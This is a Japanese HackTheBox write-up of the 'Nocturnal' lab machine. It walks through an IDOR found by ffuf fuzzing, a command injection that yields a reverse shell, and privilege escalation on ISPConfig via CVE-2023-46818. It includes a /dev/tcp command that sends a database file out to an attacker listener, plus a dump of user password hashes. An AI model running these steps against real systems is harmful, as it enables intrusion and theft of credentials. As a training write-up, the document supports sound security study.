はじめに
本記事はHackTheBoxのWriteupです。
Machineは、Nocturnalです。
Nocturnalでは、IDOR脆弱性及びISPConfigの脆弱性について学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 22:55 JST
Nmap scan report for nocturnal.htb (10.10.11.64)
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Welcome to Nocturnal
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.67 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて、hostsファイルを編集後nocturnal.htbにアクセスすると、以下の様な画面が表示されます。
ファイルのアップロードができるようなので、アカウントを登録してログインします。
作成したアカウントでログイン後、リバースシェルを仕込んだphpファイルのアップロードを試みましたが、phpファイルファイルのアップロードについては制限されています。
しばらくの間phpファイルのアップロードにとらわれていましたが、気がづけばうさぎの穴でした。
ファジング
許可されたファイルのアップロード後、生成されるURLに注目しました。
アップロードしたファイルにアクセスする場合は、http://nocturnal.htb/view.php?の末尾にクエリパラメータとしてusernameと、fileのキーを指定します。
アクセス制限の不備を確認するため、ffufを実行してファジングを行います。
$ ffuf -u 'http://nocturnal.htb/view.php?username=FUZZ&file=text.pdf' -w /home/kali/tool/SecLists/Usernames/Names/names.txt -H 'Cookie: PHPSESSID=[REDACTED]' -fs 0,2985
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://nocturnal.htb/view.php?username=FUZZ&file=text.pdf
:: Wordlist : FUZZ: /home/kali/tool/SecLists/Usernames/Names/names.txt
:: Header : Cookie: PHPSESSID=2d0b21vlro2sv9aakkhgugblv4
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0,2985
________________________________________________
admin [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 244ms]
amanda [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 245ms]
tobias [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 245ms]
:: Progress: [10177/10177] :: Job [1/1] :: 163 req/sec :: Duration: [0:01:06] :: Errors: 0 ::
上記より一部のユーザー名が確認できました。
認証情報
クエリパラメータのusernameにamandaユーザーを指定してアクセスすると、privacy.odtファイルが確認できます。
privacy.odtファイルをダウンロードしてfileコマンドを実行すると、OpenDocument Textファイルであることが確認できます。
$ file privacy.odt
privacy.odt: OpenDocument Text
binwalkを実行して、中身を調査します。
$ binwalk -e privacy.odt
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
77 0x4D Zip archive data, at least v2.0 to extract, name: Configurations2/accelerator/
135 0x87 Zip archive data, at least v2.0 to extract, name: Configurations2/images/Bitmaps/
196 0xC4 Zip archive data, at least v2.0 to extract, name: Configurations2/toolpanel/
252 0xFC Zip archive data, at least v2.0 to extract, name: Configurations2/floater/
306 0x132 Zip archive data, at least v2.0 to extract, name: Configurations2/statusbar/
362 0x16A Zip archive data, at least v2.0 to extract, name: Configurations2/toolbar/
416 0x1A0 Zip archive data, at least v2.0 to extract, name: Configurations2/progressbar/
474 0x1DA Zip archive data, at least v2.0 to extract, name: Configurations2/popupmenu/
530 0x212 Zip archive data, at least v2.0 to extract, name: Configurations2/menubar/
584 0x248 Zip archive data, at least v2.0 to extract, name: styles.xml
2871 0xB37 Zip archive data, at least v2.0 to extract, name: manifest.rdf
3190 0xC76 Zip archive data, at least v2.0 to extract, name: content.xml
4546 0x11C2 Zip archive data, at least v2.0 to extract, name: meta.xml
5058 0x13C2 Zip archive data, at least v2.0 to extract, name: settings.xml
7065 0x1B99 Zip archive data, at least v2.0 to extract, compressed size: 11843, uncompressed size: 11843, name: Thumbnails/thumbnail.png
18962 0x4A12 Zip archive data, at least v2.0 to extract, name: META-INF/manifest.xml
WARNING: One or more files failed to extract: either no utility was found or it's unimplemented
コマンド実行後、生成された_privacy.odt.extracted/ディレクトリを確認します。
合計 80
-rw-r--r-- 1 kali kali 20400 5æ 16 23:22 4D.zip
drwxr-xr-x 11 kali kali 4096 5æ 16 23:22 Configurations2
drwxr-xr-x 2 kali kali 4096 5æ 16 23:22 META-INF
drwxr-xr-x 2 kali kali 4096 5æ 16 23:22 Thumbnails
-rw-r--r-- 1 kali kali 4657 5æ 16 23:22 content.xml
-rw-r--r-- 1 kali kali 899 5æ 16 23:22 manifest.rdf
-rw-r--r-- 1 kali kali 978 5æ 16 23:22 meta.xml
-rw-r--r-- 1 kali kali 13728 5æ 16 23:22 settings.xml
-rw-r--r-- 1 kali kali 12346 5æ 16 23:22 styles.xml
content.xmlファイルよりパスワードを発見しました。
<text:p text:style-name="P1">Nocturnal has set the following temporary password for you:
[REDACTED]. This password has been set for all our services, so it is
essential that you change it on your first login to ensure the security of your
account and our infrastructure.</text:p>
取得したパスワードを用いてログインすると、画面左上部に管理画面のリンクが確認できます。
管理画面のリンクにアクセスすると、以下の様な画面に遷移します。
バックアップの機能が確認できます。パスワードを入力することで、バックアップが作成できます。
脆弱性分析
バックアップ機能を調査した結果、コマンドインジェクションの脆弱性を発見しました。
従ってバックアップ作成時の通信をキャプチャして、リバースシェルを仕込みます。
リバースシェルを実行させてシェルを取得します。
listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.64] 55054
bash: cannot set terminal process group (840): Inappropriate ioctl for device
bash: no job control in this shell
www-data@nocturnal:~/nocturnal.htb$
シェルを取得後、認証情報の探索を行ないます。
$ cd ../
$ ls -l
total 16
drwxr-xr-x 2 root root 4096 Mar 4 15:02 html
lrwxrwxrwx 1 root root 34 Oct 17 2024 ispconfig -> /usr/local/ispconfig/interface/web
drwxr-xr-x 4 www-data www-data 4096 May 16 14:43 nocturnal.htb
drwxr-xr-x 2 www-data www-data 4096 May 16 14:37 nocturnal_database
drwxr-xr-x 4 ispconfig ispconfig 4096 Oct 17 2024 php-fcgi-scripts
nocturnal_databaseディレクトリよりデータベースファイルを発見しました。
$ cd nocturnal_database
$ ls -l
total 20
-rw-rw-r-- 1 www-data www-data 20480 May 16 14:37 nocturnal_database.db
攻撃側のマシンでは、事前に以下のコマンドを実行してリスナーを用意します。
nc -lvnp 8888 > nocturnal_database.db
listening on [any] 8888 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.64] 56060
リスナーを用意したらデータベースファイルを送信するため、以下のコマンドを実行します。
$ cat nocturnal_database.db > /dev/tcp/[REDACTED]/8888
< nocturnal_database.db > /dev/tcp/[REDACTED]/8888
通信完了後、ローカルにnocturnal_database.dbファイルが生成されています。
-rw-r--r-- 1 kali kali 20480 5æ 16 23:49 nocturnal_database.db
SQLiteで分析するため、まずはテーブル情報を確認します。
sqlite3 nocturnal_database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
uploads users
usersテーブルが確認できたので、テーブルの中身を確認します。
sqlite> .header on
sqlite> .mode column
sqlite>
sqlite> select * from users;
id username password
-- -------- --------------------------------
1 admin d725aeba143f575736b07e045d8ceebb
2 amanda df8b20aa0c935023f99ea58358fb63c4
4 tobias [REDACTED]
6 kavi f38cde1654b39fea2bd4f72f1ae4cdda
7 e0Al5 101ad4543a96a7fd84908fd0d802e7db
8 test123 098f6bcd4621d373cade4e832627b4f6
9 aaaa 74b87337454200d4d33f80c4663dc5e5
10 nabla a40b9db0a4ab344566e5d1a4c04d8175
11 test 098f6bcd4621d373cade4e832627b4f6
12 mapsy1 a0bd0297cfc3a4509a7e46b59298ec82
13 ddd 1aabac6d068eef6a7bad3fdf50a05cc8
14 toto f71dbe52628a3f83a77ab494817525c6
15 bbb 08f8e0260c64418510cefb2b06eee5cd
16 hack d78b6f30225cdc811adfe8d4e7c9fd34
17 a 0cc175b9c0f1b6a831c399e269772661
システムハッキング
データベースファイルより取得したtobiasユーザーの認証情報を用いてアクセスを行います。
ユーザーフラグ
ログイン後、ユーザーフラグが確認できます。
$ ssh tobias@nocturnal.htb
total 4
-rw-r----- 1 root tobias 33 May 16 11:57 user.txt
ルートフラグ
プロセスを調べていると、ローカルで起動しているプロセスが確認できました。
ps aux | grep php
root 827 0.0 0.7 212028 29960 ? Ss 11:57 0:00 /usr/bin/php -S 127.0.0.1:8080
ポートフォワーディングを行いアクセスしたところ、ISPConfigのログイン画面が確認できます。
ISPConfigは、Linux用のオープンソースのホスティングコントロールパネルです。ユーザー名はadimin、パスワードについては同じパスワードを使用することで、ログインできました。
更なる脆弱性を探すにあたりソフトウェアのバージョン情報を調査したところ、Helpページより確認できました。
ISPConfigの3.2.10p1バージョンに該当するCVEをGoogleで検索したところ、CVE-2023-46818が確認できました。
エクスプロイトを用意して実行することで、ルートに昇格できました。
ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)
おわりに
IDOR脆弱性は、アクセス制御の不備に起因する脆弱性の一種です。
ユーザーがリクエストに含めた識別子(例: ユーザーID、ファイル名など)に対して、アプリケーションがそのユーザーのアクセス権限を適切に検証せずに、内部リソースへアクセス可能な場合に発生します。
この脆弱性を悪用することで、攻撃者は他のユーザーのデータを参照、改ざん及び削除したり、機密情報に不正アクセスすることが可能になります。
これらの攻撃は、適切な認可チェックが欠如している場合に成立するため、開発者は入力値に紐づくリソースへのアクセス権限を必ず検証することが推奨されます。











